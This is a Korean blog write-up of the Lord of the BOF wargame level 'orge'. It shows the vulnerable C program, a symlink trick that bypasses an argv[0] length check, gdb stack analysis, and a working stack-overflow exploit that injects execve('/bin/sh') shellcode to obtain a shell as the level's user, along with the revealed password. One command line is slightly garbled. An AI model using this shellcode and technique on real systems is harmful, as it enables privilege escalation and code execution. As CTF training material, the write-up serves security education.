/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter 
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

이번 문제는 argv[0] 값의 길이가 77 이 아니면 프로그램이 종료가 된다. argv[0]의 값은 파일의 이름이 들어가는데, ./[파일이름] 이렇게 길이를 센다. 즉, ./ 를 빼고 파일이름이 75글자여야 한다. 우리는 orge 파일의 이름을 수정할 수 없어 이를 우회 할 방법이 필요하다.

 

이를 우회할 방법은 ln 명령어를 이용하는 것이다. 

ln -s [대상파일] [저장할 이름]

 

여기서 주의 할 것은 링크 파일로 실행할 경우 argv[0] 값은 ./[링크파일이름] 이고(상대경로), gdb로 분석할때 파일이름은 절대경로가 argv[0]의 값이 된다. 이 점을 잘 생각해서 헷갈리지 않게 분석을 진행해야 한다.

 

우선 orge 바이너리를 분석하기 위해 파일을 copy 하고, 이를 링크 파일로 연결 시키겠다.

gdb로 분석 할 것이기 때문에, 위에서 말 했듯이 argv[0]의 값은 절대경로 이므로 필자의 경우 /home/darkelf/tmp/[파일이름] 이기 때문에 링크할 파일의 이름은 59글자가 되어야 한다. gdb로 실행해보니 파일이름 길이의 검사는 우회한 것을 볼 수 있다.

[darkelf@localhost tmp]$ ln -s orge_copy `python -c 'print "A"*59'`
[darkelf@localhost tmp]$ gdb -q ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /home/darkelf/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*47+"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0xbf414141 in ?? ()
(gdb) 

 

그 다음 argv[2]의 주소를 찾아 argv[2]에 NOP와 shellcode를 넣어 RET에 argv[2]를 overwrite 할 것이다.

 

main 함수를 분석하면 main+270 에서 argv[1]의 주소를 PUSH 한다. 이 주소의 주변을 보면 argv[2]의 주소를 찾을 수 있을 것이다. main+271에 breakpoint를 걸고, argv[2]의 주소를 찾기 위해 실행할때 BBBB라는 값을 넣어 실행한다.

아래의 결과를 통해 argv[2]의 주소가 0xbffffdb3인 것을 알 수 있다.

(gdb) disas main
...
0x8048606 <main+262>:   mov    0xc(%ebp),%eax
0x8048609 <main+265>:   add    $0x4,%eax
0x804860c <main+268>:   mov    (%eax),%edx
0x804860e <main+270>:   push   %edx
0x804860f <main+271>:   lea    0xffffffd8(%ebp),%eax
0x8048612 <main+274>:   push   %eax
0x8048613 <main+275>:   call   0x8048440 <strcpy>
0x8048618 <main+280>:   add    $0x8,%esp
0x804861b <main+283>:   lea    0xffffffd8(%ebp),%eax
...
(gdb) b *main+271
Breakpoint 1 at 0x804860f
(gdb) r `python -c 'print "A"*47+"\xbf"'` BBBB
Starting program: /home/darkelf/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*47+"\xbf"'` BBBB

Breakpoint 1, 0x804860f in main ()
(gdb) x/wx $esp                               
0xbffffbb8:     0xbffffd82
(gdb) x/40wx 0xbffffd82
0xbffffd82:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd92:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffda2:     0x41414141      0x41414141      0x41414141      0xbf414141
0xbffffdb2:     0x42424200      0x00000042      0x00000000      0x00000000
0xbffffdc2:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdd2:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffde2:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffdf2:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe02:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe12:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) 

 

argv[2]의 주소를 찾았으니, 공격을 진행해 보겠다.

링크를 gdb가 아닌 직접 실행하면 argv[0]의 값은 상대경로이다. 즉 argv[0]의 값은  ./파일이름 이기 때문에 다른 링크 파일을 생성한다. 그 다음 실행하면 역시나 에러가 뜬다. gdb로 core 파일을 분석한다.

[darkelf@localhost tmp]$ ln -s ./orge_copy `python -c 'print "B"*75
[darkelf@localhost tmp]$ ./B(*75개) `python -c 'print "A"*44+"\xb3\xfd\xff\xbf"'` `python -c 'print -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[darkelf@localhost tmp]$ gdb -c core -q
Core was generated by `./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB A'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffad in ?? ()
(gdb) 

 

스택 값을 보기 위해 x/150wx $esp 명령어를 입력하여 argv[2]의 주소의 위치를 찾는다.

아래에 \x90의 값들이 보인다. 이 중 필자는 0xbffffcf0의 주소를 RET에 overwrite하겠다.

(gdb) x/150 $esp
...
0xbffffc40:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc50:     0x38366900      0x2f2e0036      0x42424242      0x42424242
0xbffffc60:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc70:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc80:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc90:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffca0:     0x00424242      0x41414141      0x41414141      0x41414141
0xbffffcb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcd0:     0xbffffdb3      0x90909000      0x90909090      0x90909090
0xbffffce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcf0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffd30:     0x90909090      0x90909090      0x50c03190      0x732f2f68
0xbffffd40:     0x622f6868      0xe3896e69      0xe1895350      0x0bb0c289
0xbffffd50:     0x000080cd      0x00000000      0x00000000      0x00000000
0xbffffd60:     0x00000000      0x00000000
(gdb) 

아까 orge_copy 바이너리에 링크 걸었던 B*75의 파일에 공격을 RET 주소만 수정해서 공격을 시도해 보자.

공격에 성공했지만, 필자는 orge_copy에 링크를 걸었기 때문에 darkelf 권한으로 shell이 실행되었다.

[darkelf@localhost tmp]$ ./B*75 `python -c 'print "A"*44+"\xf0\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
darkelf
bash$ 

 

공격에 성공을 했기 때문에 실제 파일인 orge 바이너리에 파일이름이 c가 75개인 파일을 생성하여 똑같은 payload로 공격을 진행한다. 아래처럼 orge 권한으로 shell이 실행된 것을 볼 수 있다.

[darkelf@localhost tmp]$ ln -s ../orge `python -c 'print "c"*75'`
[darkelf@localhost tmp]$ ./c*75 `python -c 'print "A"*44+"\xf0\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
orge
bash$ my-pass
euid = 507
timewalker
bash$ 

'CTF > LOB' 카테고리의 다른 글

[LOB] - troll -> vampire 풀이  (0) 2019.10.05
[LOB] - orge -> troll 풀이  (0) 2019.10.05
[LOB] - darkelf -> orge 풀이  (0) 2019.10.05
[LOB] - wolfman -> darkelf 풀이  (0) 2019.10.04
[LOB] - orc -> wolfman 풀이  (0) 2019.10.04
[LOB] - goblin -> orc 풀이  (0) 2019.10.04